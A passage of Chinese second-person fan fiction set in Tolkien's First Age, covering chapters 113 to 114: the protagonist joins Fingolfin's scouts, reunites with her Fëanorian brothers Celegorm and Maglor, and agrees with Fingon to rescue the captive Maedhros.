格洛芬德尔的脸上是止不住的笑容,他想,你刚才说的话绝对是他听过最动听的话语了,他指了个方向,又对你做了个请的手势,金色长发披散在他脑后,伴随着他微微俯身的动作,一两缕长发滑到他的胸前,他和你之间始终保持着距离,不过如果你想,你就算直接牵住他的手想必他也不会反抗,但你没有那么做,你和他之间的距离一直保持到你们来到那处幽泉前。 幽静的泉水清澈微凉,泛着皎洁的月光,就是那么恰好的,月光不偏不倚地落在这眼泉水上,被泉水滋润的土壤生长着你叫不出名字的花朵,都是一些野花,生长得毫无章法,可又充满活力,看得你新生欢喜,你在泉水边坐下,伸出手触碰泉水,跟你想的一样微凉,但不至于太冰凉。 “只可惜这里没有天鹅。”格洛芬德尔在怀念维林诺的天鹅,与其说是怀念这些小动物,倒不如说是借由这个怀念维林诺的生活,那生活已经距离他很遥远了。 在征得你的同意后格洛芬德尔才在你身边坐下,在他落座的时候有一瞬间你感觉到他的发丝似有若无地滑过你的脖颈,又或者只是你的错觉,你侧过头,他还在对你笑,是腼腆而青涩的笑容,你不太明白精灵之间所谓的一见钟情,这样的感情来得太突然,这一刻你好像在凝视格洛芬德尔,又好像在通过他凝视着另外一位精灵,同样也是对你一见钟情的精灵。 被你盯着看了太久,格洛芬德尔的笑容也变得愈发不自然,他莹润的双眼仿佛在无声地问你:发生了什么? 你移开视线,“你的头发有些乱。” 因为你的这一句话,格洛芬德尔便低头对着泉水倒映出的自己梳理头发,用手指缓慢地,一下又一下地梳理着金发,全然没有意识到你只是随口一说而已。 你也学着他的样子低下头,凝望着平静的水面,那水面只倒映出一半的月亮,只有抬起头才能看见完整的月光,而此刻抬头赏月的不止你一个精灵,远方的玛格洛尔在芬国昐的号角响彻整个贝烈瑞安德大陆以后就知道他们的亲族,曾经被抛下的亲族穿过冰川,克服重重困难也来到了这片土地。 玛格洛尔在感到欣喜的同时也仍旧被忧虑缠绕,一方面是因为他们总有一天会见面,到时候如何相处是个问题,另一方面更是因为他们的父亲费艾诺在星下之战中死去,就连他们的兄长迈兹洛斯也不幸被魔苟斯俘虏。 在迈兹洛斯被俘后,玛格洛尔就暂时成为管理其他精灵的摄政王,玛格洛尔并非没有想过去解救迈兹洛斯,可魔苟斯心思狡猾,如果又是一个陷阱,那么剩下的子民又该怎么办呢?而且迈兹洛斯在与魔苟斯谈判前就预料到了这一可能性,因此事先在私下对玛格洛尔说过,一旦他发生什么不测,最重要的是保护剩下的子民。 玛格洛尔完美地遵循着迈兹洛斯的意志,可每到夜幕降临,他还是会不由自主地担心迈兹洛斯,想到这里,他的神色愈发低落,他的其他弟弟看到他的侧影就知道他又在担心什么了,凯勒巩说:“总有一天我们会把他带回来的。” 凯勒巩也没放弃解救迈兹洛斯,时至今日他仍然为此努力。 玛格洛尔勉强地笑了一下,他没想到自己还要被弟弟安慰,他说:“我知道,但无论怎么说,你自己的安全才是最重要的。” 聊到后面,凯勒巩像是为了缓和气氛地笑着说:“也不知道现在的弥尔洛斯在做什么。” 第113章 第113章“我们的父亲不幸牺牲…… 当你的那些个哥哥还以为你老老实实地待在维林诺的时候你已经顺理成章地混入先遣队了,其实按照精灵的观察能力,他们不可能没发现你的存在,只是他们也能理解你想要尽快与自己的哥哥汇合,所以对这件事情也是睁一只眼闭一只眼, 没有特意揪出来。 你在跟着先遣队离开的前一天晚上阿瑞蒂尔似乎预料到了什么,她特意来到你的帐篷,她说话一向直来直去的,从不藏着掖着,因此她一见到你就说:“你就打算这样不打一声招呼地就离开吗?再怎么说我们也是朋友,更是手足。” 她怎么和她的哥哥芬巩一样,一激动就喜欢扯着手足这一层关系不放呢?你没有着急回答,而是先给她倒了一杯茶,把茶杯放在她的手边,然后说:“你怎么变得和芬巩一样了?” 阿瑞蒂尔有些好笑,又有些怪怨地瞧了你一眼,而后端起茶杯,“我们是兄妹,当然在有些方面很像啦。” 你拉过一张椅子坐下,“我很抱歉之前没能找到机会和你说这件事,但既然你现在提起来,那我只能说,我不希望一直在这里坐以待毙,我想尽快找到他们。” 准确来说是尽快找到迈兹洛斯,免得这家伙又把至高王的王冠传给其他精灵了,这才是真正让你着急的事情,至于其他什么的,重要性显然是排在这之后的,当然你不可能当着阿瑞蒂尔的面说得那么直接,所以你只能推出一个听上去很合理的借口。 阿瑞蒂尔端着茶杯没有说话,她眨了一下眼睛,“那我能和你一块去吗?” 估计是不太可能的,因为刚刚从冰川里走出来,中途阿瑞蒂尔甚至差点没能坚持下来,她的父亲芬国昐现在也看她看得很紧,而且你现在也不能确定路上是否会遇到魔苟斯爪牙的埋伏,毕竟你对这段历史的了解非常粗略,只知道一个大概,至于具体是怎么发展的,以及各种小细节,你一概不知,所以说实话你心里也没底,因此出于谨慎起见,你不太建议阿瑞蒂尔和你们一块走。 但你也没有直接拒绝,因为你很了解阿瑞蒂尔的性格,要是当面拒绝没准会激发她的逆反心理,所以你斟酌自己的用词,“说实话我也很希望与你同行,但这次是我们第一次朝着未知领域探索,所以我们也无法保证安全性。” 阿瑞蒂尔看起来像是被你说服了,等你隔天跟在先遣队队尾前进的时候,你听见背后传来的窸窸窣窣声响,还以为是什么小动物,你回过头一看,发现竟然是加拉德瑞尔,这位金发精灵被你发现了也不惊讶,甚至还对你笑了一下,神色从容镇定。 你没有问“你怎么会在这里”这种没意义的废话,既然她会出现那就说明她也有意参加先遣队,因此你们心照不宣地跳过了最初的问答环节,你说:“我刚才都没发现你,你是怎么做到的?” “嗯……调整自己的气息尽可能把自己融入到周围的大自然里?”做到这种程度那么大自然就会帮助她藏匿自己的踪迹,这是精灵能做到的特殊技能,“还有一个原因,那就是你刚才太专注了,所以才没发现我的靠近。” 加拉德瑞尔说话很委婉,你说:“不,刚才还是我疏忽了,如果是敌人靠近的话,那我可能现在都已经没命了吧。” 加拉德瑞尔不这么认为,毕竟她曾经目睹过你的实力,你可不会轻易被打败,她走到你身边,为了隐秘行事,包括你在内的整个先遣队都选择步行,这样更有利隐藏你们的行踪,不至于轻易地被敌人发现,在经历过魔苟斯偷袭维林诺的事情后幸存下来的精灵都对这位堕落维拉的狡猾程度有了非常清晰的认知。 你和加拉德瑞尔交谈的声音有意控制得很微弱,有的时候你们甚至都不需要说话,只是交换一个眼神就知道对方想说什么。 “我对阿瑞蒂尔不能跟我们一同出来这件事感到遗憾。”加拉德瑞尔说,但这也是没办法的,在芬国昐的眼皮子底下她也不敢贸然离开,“不过日后她肯定也能加入我们的队伍的。”加拉德瑞尔对未来持积极乐观的态度。 这支先遣队从暂时驻扎的营地出发,一路朝着东方前进,在此期间除了遇到一场大暴雨暂时中止前进的步伐,其余的时间你们都在不停地行进,一开始你和加拉德瑞尔还能有说有笑,到后面无论是你还是加拉德瑞尔也都逐渐变得沉默,因为这趟路程实在是太平静了,平静得有些不对劲。 哪怕让你们遇到一两只魔苟斯的爪牙也好,这兴许还能让你们稍微安心一点,但是一只都没有,如果放在平常你可能会感叹真是一路顺利,但放在这时候,你可以确定魔苟斯也意识到了芬国昐带领自己的子民来到了中土,但他又为什么那么不为所动呢?难道说他真的对此无动于衷吗? 不,这可不是他的作风,按照你对魔苟斯的了解,他这个时候大概在背地里谋算着如何让这两伙精灵产生冲突吧,因为挑拨离间是他最喜欢做的事情了。 这天夜里,你和加拉德瑞尔坐在古老的大树底下,加拉德瑞尔在同这棵大树聊天,聊得很融洽,甚至还知道了对方的名字,但其实树木的名字差不多都是以它们自身的品种来命名的,所以她现在正在交谈的这一棵树的名字就叫做榕树,如果要说得客气一点,那就是大榕树先生。 你没有什么闲情逸致和树木聊天,你觉得这一切顺利得过了头,是你错过了什么重要的细节吗?唉,你在心里叹了一口气,大榕树察觉到你的失落心情,就让隔壁小巧的苹果树伸出自己的树枝,缀着红彤彤果实的树枝就出现在你面前,你伸出手采摘了两颗,正好给你和加拉德瑞尔分别一个,你也不贪心,两个就够了。 “谢谢你的关心。”你对着那棵小巧的苹果树道谢,后者笑了起来,连带着树枝也跟着轻微的抖动,它并没有收回自己的树枝,而是更加热情地用枝叶蹭了下你的侧脸,仿佛在无声地说你可以再多摘几个苹果,我可不是什么小气的苹果树。 你顺着它的意思又多摘了几颗苹果,后来这些果实都被你送给了先遣队的其他精灵,他们中有的精灵小声嘟哝,“怎么我就没有遇到那么友善的苹果树啊,有的只是故意伸出树枝想要恶作剧的坏家伙。” 你和加拉德瑞尔笑而不语,等天亮了你们继续探查工作,而你们的一举一动也都被远在安格班的魔苟斯收入眼底,他看着镜子里你的侧影,当初你在他身上留下的伤口似乎又开始隐隐作痛了,真奇怪,明明那伤口早就已经愈合了,可平日里还是会时不时地刺痛魔苟斯一下,尤其是在他看到你的时候,那伤口又开始耀武扬威地刺痛他。 这让魔苟斯愈发感觉到不悦,这种烦躁和愤怒非常直观地体现在他的脸上,以及他的言行举止上,下一个前来汇报工作的下属可就遭了殃,原本他还在好好地汇报工作,结果魔苟斯不耐烦地打断他,又各种吹毛求疵地连连追问,那下属被问得一时之间都不知道该说些什么好,只能呆愣愣地站在原地,等自己的主人发泄完情绪,然后再小心翼翼地说:“您还好吗?” 魔苟斯冷笑一声,他现在这幅样子能好到哪里去呢?他还以为自己当初在维林诺造成的动乱足以让这些精灵陷入绝望,可是他远远低估了这些精灵的执着程度,尤其是那个名叫费艾诺的精灵,他甚至带着诺多族出奔也要找他复仇,尽管他早已死在那场星下之战中,但他剩下的那几个儿子,还有你——都是不好对付的硬骨头。 尤其是你,魔苟斯的直觉告诉他,你存在一定会扰乱他接下来的计划,你早已看穿了他的本质,就如同当初他被曼威释放以后,你站在精灵中望向他的眼神,讥讽而嘲弄,只是一眼,他就有种自己被你看穿的错觉。 但你只是一个精灵而已,就算是备受伊露维塔宠爱的首生儿女,那又如何呢?在维拉面前,哪怕是他这个堕落的维拉面前,你的实力对上他也不过是蜉蝣撼大树,不堪一击。 理智告诉他你不足为惧,可是直觉又在拼命发出警告,这使得魔苟斯陷入矛盾中,总之,他得要先除掉你,你的那几个哥哥都可以先放一放,但你……他要尽快除掉才行。 想着,魔苟斯又看了一眼镜子里的你,“我可不会让你毁了我的计划的。” 手下汇报完工作,也不知道自己该不该离开,于是只能僵硬地站在原地等待魔苟斯的下一步命令,但是魔苟斯一直在旁边自言自语,无奈之下那位手下只能再度开口,“主人,您还有别的吩咐吗?” 魔苟斯这才意识到还有一个手下站在旁边,他漫不经心地瞥了对方一眼,暂时没有什么要吩咐的,他就挥挥手示意他赶紧退下去。 而那个手下也很识相地赶紧离开,镜子里你的身影逐渐淡去,魔苟斯这才缓缓收回目光,过了不知多久,他召来了另外一位得力助手,同时也是他的军师索伦,一位追随他的堕落迈雅,魔苟斯很器重这位迈雅,甚至于他在思索该找谁去对付你的时候第一时间就想到了他。 在魔苟斯思索如何解决你的同时,你所在的先遣队终于追踪到了一些有用的线索,那大概率是费艾诺带领的诺多精灵在长途跋涉时留下的,这对你们来说是一大收获,你和其他先遣队队员围着这些踪迹讨论,再结合加拉德瑞尔的预 知能力,很快就得出了你们接下来要走哪个方向,加拉德瑞尔用手指出一个非常精确的方位,“朝着这个方向走,我想我们很快就能找到他们了。” 身为先遣队队长的芬巩欣喜地笑着说:“那真是太好了。”尽管他也知道在见到那一群诺多精灵后很可能会发生冲突,但他仍旧为不久后能够与迈兹洛斯还有其他伙伴重逢感到高兴。 其他精灵原本还想再说些什么的,但看芬巩那么高兴,他们就都很自然地闭上自己的嘴巴免得说些什么令他不快的话。 你就没有芬巩那么乐观了,毕竟到时候你还得要协调两方势力的关系,要是真的起内讧那就糟糕了。 就这样,你们沿着加拉德瑞尔手指的方向前进,走了大概半个月,你们站在高处朝远方眺望隐约能够捕捉到一块成型的精灵领地的边缘景象,鉴于你们观察的时间点恰好在晚上,因此那灯火在夜晚的映衬下显得愈发明显。 加拉德瑞尔就站在你身边,她肯定也看见了那一幕,她说:“你在担心什么?”她的观察力细致入微,早在好几天前她就发现你无意识透露出来的几分焦虑,加拉德瑞尔起初还以为你是害怕收到父亲或兄长遇难的消息,但后来又仔细观察一阵子,发现这个可能性不大,你好像在担心别的事情。 “担心他们一见面就打起架来。”你诚实回答,夜风拂过你和加拉德瑞尔,吹开你们脸颊两侧的碎发,其实现在这个季节气候宜人,如果不是急着赶路,你或许会慢悠悠地欣赏沿途的风景吧。 “原来是这样,但我觉得有你和芬巩在,这种事情是不会发生的。”对此加拉德瑞尔很相信你。 “但这些矛盾都不是三言两语能够解决的。”说着说着你就叹了一口气,唉,谁让诺多精灵的脾气就是那么执拗呢,要是换成泰勒瑞精灵或许会好一些,哪怕是脾气暴躁的瑟兰迪尔都在诺多精灵里排不上号,足以见得泰勒瑞精灵的温和。 “你已经解决了很多矛盾。”当初在维林诺的时候加拉德瑞尔就目睹过你充当调解者避免了很多冲突。 你笑了一下,“但愿吧,不过我还是有些期待他们见到我会不会惊讶得说不出话来。”这不是惊喜,而更像是惊吓。 与其他费诺里安重逢的那一天很快到来,你们这支先遣队靠近那块精灵领地,还没等你们真的接近边境,就有其他负责站岗的精灵发现了你们,他们起初还没能确认你们的精灵身份,一来是因为你们为了隐匿行踪特意穿上了类似于迷彩服色调的斗篷,二来还是因为对方没料到芬国昐会那么快找过来。 简单来说这次重逢是以一场误会作为开端拉开帷幕的,那些边境精灵士兵的弓箭对准你们,又在下一秒察觉你们很可能是同族而产生犹豫,你主动走上前,无视会被箭矢穿心的危险性,你的姿态从容不迫,在你站定脚步后你便摘下斗篷的兜帽,让这些精灵看清你的面庞。 为首的精灵看到你的真容时愣了一下,但又在怀疑这是否是魔苟斯的诡计,捏造出一个和你极为相似的卧底,等他们放松警惕以后又突然暴起杀死在场所有的精灵。 出于谨慎起见,为首的精灵还得要再次确认你的身份,他问:“你是谁?” “弥尔洛斯。” “真的吗?可你又该如何证明自己才是真正的弥尔洛斯呢?”那个精灵小队长皱起眉,其实在他听到你的声音的那一瞬间他几乎就可以确认你是弥尔洛斯,只是万事小心总没错。 你无奈地说:“可如果要我说一些秘密的话,这些秘密就只有我和我的哥哥们知道。”言下之意就是你得先见到你的哥哥才行,精灵通报消息的速度很快,不多时,你就看见不远处一匹白马朝着这里奔来,金发精灵就坐在马背上,最先赶过来的是凯勒巩,跟你猜得差不多。 凯勒巩还没等白马停下来就直接一跃而下,好在精灵的平衡性绝佳,他落地的时候几乎没有发出什么声音,只见他三步并作两步径直走到你面前,丝毫不顾那个精灵队长的提醒。 “凯勒巩大人——她也许是其他人假扮的。” 凯勒巩头也没回,他很肯定地说:“不,我看得出来,她不是假扮的,她就是真正的弥尔洛斯。”还没等他的话音落下,你就被他紧紧抱住,好吧,这个突如其来的拥抱是你没想到的,你的身形有些僵硬,但看在与凯勒巩分别了那么久的份上,你就任由他抱着你,甚至还贴心地拍了拍他的后背。 你说:“提耶科莫你该不会又要哭了吧?这里还有很多精灵呢。” 凯勒巩有些生气,这都什么时候了,你居然还想着他哭不哭这回事,他说:“你就不能想一点别的事情吗?而且你怎么没有待在维林诺呢?我们都以为你在那里会过得很安全的。” 果然,凯勒巩还是那个凯勒巩,一见到你就有那么多的话可以说,他的问题一个接着一个地朝你抛过来,甚至都没有给你反应的机会,你难免有些应接不暇,你先是拍拍他的胳膊示意他松开,然后才说:“你的问题实在是太多了。” “如果你发现本该在维林诺待着的妹妹忽然出现在这里,你也会和我一样有那么多的问题的。”凯勒巩眨了眨眼睛,还好,这回他倒是没有掉眼泪,顶多就是眼睛有些酸涩而已,毕竟周围还有其他精灵在场,他忍着眼泪又说:“而且这还只是冰山一角呢,我还有很多问题想要问你的呢。” 只不过在凯勒巩问你这些问题之前还有一些事情得要解决,比如说其他精灵因为费艾诺焚烧白船积攒起来的怨气此刻终于得到宣泄,有几个精灵言辞尖锐,这使得场面一度变得针锋相对,所幸的是你早就料到了会有这一遭,所以你夹在中间充当调解者,反正这也不是你第一次干这种事情了,你对此得心应手。 “诸位,你们也曾经是伙伴亦或是挚友,我知道费艾诺焚烧白船的事情不可避免地在我们心中留下了无法弥合的伤疤,但既然我们现在一同身处中土这片大陆上,我想,我们首先要做的应该是团结一致,否则反而会给魔苟斯可趁之机,毕竟如果要说谁最希望我们起内讧,那恐怕就要数魔苟斯了吧。” 你的一番话成功地缓和了现场的气氛,但是站在你身边的凯勒巩听见你提及父亲费艾诺的时候神色变得有些微妙,在凯勒巩的授意下包括你在内的整个先遣队都被当做客人迎接到了领地内,还没等你们去往宫殿,凯勒巩就拉住你的手,压低声音对你说:“我有些事情想要对你说。” 你很少见到他露出这幅凝重的表情,尽管他还没向你透露这件事情的一丁点细节,但你莫名觉得这肯定是一件大事,你配合地和凯勒巩走到宫殿内偏僻的角落里,“你要说些什么呢?” 在开 口前凯勒巩深吸一口气,他的手指攥着衣角,那样子看起来有些纠结,这是多么奇怪的现象啊,在此之前,凯勒巩在你印象里是那么心直口快,他几乎是想到什么说什么,从来不在乎别人是怎么想的,倒不如说他压根就不在乎这一点,可是现在的他会因为犹豫而无法说出完整的话,甚至还需要你来开头,你说:“难道你就要一直保持沉默吗?这一点也不像你。” “在我来到这片大陆以后我就觉得自己变了许多,你要是见到其他的费诺里安肯定也会发现他们改变了许多的。”说着,凯勒巩露出一个很勉强的笑容,他垂下眼帘,“我不知道该怎么开口,你有权知道这件事,毕竟你也是他的孩子。” 听到这里你大概知道他想说什么了,你抿抿唇,他的声音在你耳边响起,“我们的父亲不幸牺牲了。” 第114章 第114章“真的吗?她真的有经…… 其实对于费艾诺的死去你并没有太惊讶,毕竟你早就料到了会有这一天,所以你表现得异常平静,这份平静实在是太不自然了,以至于凯勒巩在和你说出这句话后就一直盯着你看,他的嘴唇张合,但没发出声音,始终保持安静。 “哭吧弥尔洛斯,我知道你现在心里肯定不好受。”最后凯勒巩只挤出这么一句话来,其实他自己还没能从父亲死去的阴影中走出来,但碍于自己的哥哥身份,他此刻尽可能将自己的悲伤都隐藏起来,然后不太自然,没有那么熟练地安慰你,他以前很少做这种事情,他说:“说到底这都是魔苟斯的错。” 他的愤怒和不甘都找到了一个发泄口,那就是魔苟斯,没错,一切悲剧的源头就是魔苟斯,如果不是他为了实现自己的邪恶愿望,你们的祖父也不会死去,费艾诺更不可能一怒之下带着诺多族出奔,想到这里,你觉得凯勒巩反而是更需要安抚的一个。 你握住他的手,那手掌温暖干燥,他垂下眼帘,“我很抱歉一见到你就说这些难过的事情,明明我们再次重逢应该高兴一些才对的。”但他好像一直在滔滔不绝地向你诉说他的负面情绪,尽管他自认为自己是你的兄长,但准确来说你更像是他的精神寄托。 “凯勒巩,你变了很多,你以前可没那么容易向我道歉的。”你半开玩笑地说。 凯勒巩知道你在开玩笑,他很配合地笑了起来,“什么啊,我以前向你道歉的次数难道还少吗?你可别胡说啊。” 眼看他恢复了正常,你正要松开手,但后者没放开,他很自然地牵着你,然后说:“你是第一次来这里,那就让我来带你参观一圈吧。” “不用先见见其他的费诺里安吗?”你问道。 凯勒巩的身形僵硬了一下,虽说他刚才向你坦白了费艾诺的死亡,但他还没想好怎么和你提起迈兹洛斯的情况,毕竟说实话你和父亲费艾诺的关系不算太亲近,但和迈兹洛斯就不是这样的了,甚至可以说你非常在乎迈兹洛斯。 “他们……还有很多事情要忙呢,你知道的,我们才来到这里,建立一片属于诺多精灵的领地需要花费许多精力,也许你这几天都没法碰到费诺里安齐聚一堂的场面了。”凯勒巩以为自己找的借口很合理,毫无破绽,但你还是从他言辞闪烁的态度中捕捉到一丝真相,那就是某个费诺里安情况不太乐观,看来现在迈兹洛斯已经被魔苟斯掳走了。 你没有戳穿凯勒巩,顺着他的意思说:“你说得有道理,日后我们肯定还会有团聚的时候的。” “……或许吧。”凯勒巩的声音微弱,他自己心里也没底,他甚至都没办法确认迈兹洛斯是否还活着,也许他没能在魔苟斯的折磨中撑过去,也许他经受了太多痛苦而精神失常,这里有太多可能性了,搅得凯勒巩的脑袋都乱糟糟的。 你轻轻地摇晃了一下凯勒巩的手,提示他回过神来,凯勒巩低头看了看你,这才想起来自己还在带你参观这里的宫殿呢,他“啊”了一声,“那我们先去大厅看看吧。” 这趟参观之旅注定不会太平静,因为你们没过多久就遇到了玛格洛尔,其实也不能说是偶遇,因为他更像是在听说有你的先遣队到达这里以后就专门找了过来,因此你再次见到他的时候他的步履匆匆,一瞧见你,他三步并作两步走到你面前,你刚想和他打个招呼,但他突如其来的拥抱打断了你要说的话。 好吧,玛格洛尔和凯勒巩可真是越来越像了,你任由他抱住你,玛格洛尔低头靠在你的肩膀上,他的身量比你高一些,但现在看上去更像是他在依靠着你。 “好久不见了,玛格洛尔。”你说。 玛格洛尔过了好一会才应声,你原以为他都要装作没听见你和他打招呼的声音了,他的声音闷闷的,“嗯……我们太久没见了,我还以为自己日后再也无法见到你了。” 像他们这样违抗维拉的命令甚至公然反对伊露维塔的精灵,死去以后灵魂恐怕也只能一直停留在曼督斯的殿堂内,永远都无法再复生。 玛格洛尔都已经做好了永不能再见到你和母亲奈丹尼尔的心理准备,但是你突然的出现使得他有一瞬间感到有些恍惚,他真怀疑这是否又是魔苟斯的诡计,想要击溃他们费诺里安的阴谋,他的理智告诉他这很可能是个陷阱,但脚步就很诚实地朝着你所在的地方走去,从一开始的快步走到后面的奔走乃至奔跑。 “可是,你又为什么会来到这里呢?你是和芬国昐大人一同来到这里的吗?”玛格洛尔那么聪明怎么可能猜不到你来到这里的途径,但如果是跟着芬国昐来的,那么他们当初焚烧白船的行为极有可能使得你在那一群精灵里的处境变得非常难堪,想到这里,他不住地向你道歉,“抱歉,你肯定遭受了很多困难……我真的很抱歉。” 唉,他该不会就要一直抱着你道歉吧?你撇撇嘴,“玛格洛尔你没必要向我道歉,这根本就不是你的错。” 玛格洛尔总算是安静了下来,他松开手,整理你脸颊两侧的碎发,“虽然我并不认为自己是个幸运的精灵,但是能够再见到你,我想这是我遇到过最幸运的事情了吧。” “好了,再次见面难道我们就要一直把时间浪费在煽情上面吗?我觉得现在还有更加重要的事情等待着我们去解决。”你尝试着让话题回归正题,毕竟一直这么煽情下去也不是个事,而且你还得费心费事地安慰他们,你本就不多的耐心都要被耗尽了,你说:“这次我跟着这支先遣队来到这里是带着探查任务而来的,芬国昐大人希望这两支精灵队伍能够尽快汇合。” 不单单是汇合,芬国昐还希望团结所有在中土大路上的诺多精灵,齐心协力地建立新的精灵家园,他的想法没什么问题,就是落实起来没那么简单。 为了避免冲突的发生,你决定先开门见山地说:“无论是芬国昐还是我都希望大家能够团结一心对抗魔苟斯。”你说的都是自己的真实想法,毕竟魔苟斯一天不除掉,你就得要担心他是否还会背地里搞出什么阴招来,你的担心不是毫无缘由的,根据你第一个副本与魔苟斯交锋得出的经验之谈。 玛格洛尔点点头,但他现在显然不想和你谈这些事情,他更关心你一路上是否受到了什么委屈,你们来到大厅旁边的偏厅,坐下后你才回答:“这一路上我倒是没有受委屈,甚至可以说受到了很多照顾。” 毕竟有芬巩和阿瑞蒂尔陪伴在你身边,玛格洛尔想,但他无法想象你穿越冰川的画面,虽然你说这话的时候是笑着的,但是玛格洛尔却有些笑不出来,因为他知道你肯定隐瞒了很多细节,但如果是你不想说的事情,就算他再怎么追问你都不会说的,所以他只是长久地注视着你。 你被他看得有些不自在,微微皱眉,“我知道你关心我,但也没必要用那么可怜兮兮的眼神看 我吧?无论怎么说我也是一个费诺里安,穿越一片冰川对我来说也不算什么难事。“你甚至还在途中解救了不慎跌入冰水里的埃兰葳,这件事情你只是随口一提,没成想玛格洛尔对此的反应却很大,他说:“他们就这么眼睁睁地看着你去冒险吗?” 好吧,你有点后悔告诉他这回事了,你撇撇嘴,“他们没有你说得那么冷血,而且你难道忘了吗,他们也是我们的亲族。” 玛格洛尔的脸上还残留着愤慨的余韵,但当你提及亲族的时候,他移开视线,“有些事情既然已经做了,那就没有回头的可能性了。” 你不知道他说的是天鹅港的亲族残杀还是费艾诺命令火烧白船的事情,不过原因都是大差不差的。 你背靠着椅背,坐在旁边的凯勒巩又问起阿瑞蒂尔的情况,平日里他和阿瑞蒂尔走得很近,因此他也想从你嘴里得到一些关于她的消息,你说:“她很好,现在在我们的临时营地里。” “到时候你就不必跟着那支队伍回那个临时营地了。”玛格洛尔冷不丁地开口,他现在说话的姿态与在维林诺时有些不同,在维林诺的时候他会下意识地参考迈兹洛斯的建议,但是现在,根据你的猜测,迈兹洛斯被俘,他成了这里的摄政王,许多事情都要由他来决定,因此他说话的语气都透露着几分不容置喙的意味。 这不像是对妹妹的劝告,更像是命令,这一点让你感到不悦,你反问道:“难道你还能限制我的自由活动吗?” “不……弥尔洛斯,我不是这个意思。”玛格洛尔意识到自己刚才说的话很容易让你产生歧义,他便着急地辩解,“我的意思是,你就留在这里吧,这里有你的哥哥,我们会好好照顾你的。” 你要是一直留在这里,然后坐等芬巩把迈兹洛斯救回来顺便再把至高王的王冠拱手相让吗?这未免也太窝囊了一点,你可做不出这种事情,你说:“您的好意我心领了,但我还有更重要的事情要做。” 凯勒巩微微瞪大眼睛,“你还要做什么呢?难不成你更喜欢和那些精灵待在一块吗?我可是你的亲哥哥。”他也不是嫌芬巩他们不够好,只是,无论怎么说你都应该待在他们身边才对吧? 玛格洛尔朝着凯勒巩递去一个眼神,示意他不要再继续乱说话了,凯勒巩忿忿不平,但还是乖巧地闭上嘴,你听见玛格洛尔又说:“当然,我能理解你的心情,等到时候我与芬国昐大人协调一致后他们也会搬到这里的,所以从最后的结果来看都是一样的。” 与凯勒巩相比较,玛格洛尔就更加适合谈判,即便他一开始很可能露出了一些破绽,但只要他想,他可以循循善诱地引导你选择他希望的那个选项。 “但很多事情并不是只看结果的。”唉,你忽然有些后悔这么早就和玛格洛尔他们打了个照面,你就应该将重逢的时间往后推迟的,现在见面反而会给你增加阻力,你单方面终止这个话题,“我们就不能聊一些轻松愉快的话题吗?我不想和你们一见面就发生争吵。” 凯勒巩小声地说:“我也不想这样的。” 于是后来你们尽可能挑选一些轻松的话题,比如说他们当初为什么会选择这块地方作为诺多精灵的领地,又比如说凯勒巩和库茹芬非常热衷于在这领地附近巡逻,说是巡逻,但其实准确来说应该是打猎,即便来到了一片全新的大陆,他们也依旧没忘记自己的爱好。 说到一半,偏厅的门不知道被谁轻轻地敲了几下,你瞧见玛格洛尔和凯勒巩飞快地交换了一个眼神,最后玛格洛尔起身去开门,打开门一看,来者原来是芬巩,也不知道他是怎么找到这里来的,他先是对着玛格洛尔笑了一下,紧接着目光又越过他看向坐在后面的你,他对你招招手,“弥尔洛斯,你能出来一下吗?我有些事情想要和你说。” 但还没等你站起身,原本坐在你旁边的凯勒巩就拉住你的胳膊,接着又问芬巩,“你有什么事情是不能当着我们的面说的?弥尔洛斯是我们的妹妹,我想我们应该也有资格听听你想说什么吧?” 凯勒巩说话就是有这种魔力,能够将好好的一句话变成阴阳怪气和冷嘲热讽,尽管你知道这并非他的本意,你瞥了凯勒巩一眼,抽回自己的手,站起身,替芬巩回答:“不用了,这是我们之间的谈话,你们就先在这里休息一会吧。” 话音落下,你也走到芬巩面前,和他一同离开偏厅,等你们走出几步路,你眼角的余光扫到玛格洛尔依旧站在门口的身影,你收回自己的目光,芬巩也能感受到对方的视线,因此他紧抿嘴唇什么都没有说,一直等到你们离开这条长廊,芬巩这才出声,“他们刚才是在怀疑我会对你不利吗?这可真是误会我了,而且再说了,我什么时候做过伤害你的事情?” 说着说着芬巩都有些委屈了,毕竟他自认为自己是一位合格的哥哥,但是刚才被玛格洛尔还有凯勒巩那么对待,他难免有些伤心,你拍拍他的肩膀示意他不用难过,你说:“他们只是经历过了太多事情,现在精神都是高度紧绷的,因此不用将他们的言行举止放在心上,对了,你想要对我说什么呢?” 言归正传,芬巩将那份伤心抛之脑后,他没忘记自己专程来找你的原因,在他开口前他又环视四周,确认周围没有其他精灵,看他那架势你觉得有些奇怪又有些好笑,因为这幅样子就像是做贼心虚。 芬巩看了一圈,最后才说:“迈兹洛斯不在这里。” 闻言,你挑起一边的眉毛,原来他想要和你说的就是这件事情?那你早就已经知道了,不过你还是配合地作出略带惊讶以及困惑的神色,你说:“什么叫做他不在这里?” “我也不确定他是否还活着,但如果可以,我希望他还活着。”芬巩说了很多碎碎念,“我听说他是被迈兹洛斯俘虏了,他就在安格班。” 本来你还在思索要不要自己单枪匹马去安格班营救迈兹洛斯的,但现在看来,和芬巩一同去成功的可能性也会更高一些,你说:“所以呢?你仅仅只是来传达这个消息的吗?我想应该不是吧?” 芬巩和你相处得久了,你一个眼神他就知道你是什么意思,他看了看你,“虽然其他精灵都劝过我了,但是我觉得……我,不,是我们应该做些什么,不能就这么坐以待毙,难道真的要躲在后头一直等到他的死讯传来吗?不,我绝不会那么做的。” 听他说到后面,你的唇角微微上扬,眼里满是赞同,你说:“我和你的想法一致,这可算是想到一块去了。” 此话一出,芬巩惊讶道:“所以……你的意思是?” “我们去把迈兹洛斯带回来吧。”你言简意赅地说,你可不像芬巩那样说这些话还得铺垫一大段的,你属于行动派,说做就做,中间都不带犹豫一下的。 芬巩没有被这份志同道合的喜悦冲昏头脑,因为他知道你的那几个哥哥不会放任你去冒险的,就算是迈兹洛斯要是知道你冒着极大风险去营救他,恐怕他也不会同意的吧,因此他纠结地说:“但是你哥哥那边……” “只要我们的动作够快,他们就反应不过来,等他们知道发生什么的时候我们都已经离开这里了,他们又能怎么办呢?” 虽然芬巩也知道你的性格没有那么逆来顺受,但他还是对你的大胆程度有了更加清晰的认知。 他原本还想要尝试说服你的那几个哥哥,但是现在看来,从他们刚才对待他的态度,只要他稍微提及一点带你离开的事情,估计他们都会跳起来。 所以出于谨慎起见,芬巩也就不再考虑告诉他们你们要去营救迈兹洛斯的计划,毕竟这个计划知道的精灵越少越好。 “那我们什么时候出发?”你心里想着尽快将迈兹洛斯带回来,然后再让他把至高王的王冠交到你的手中。 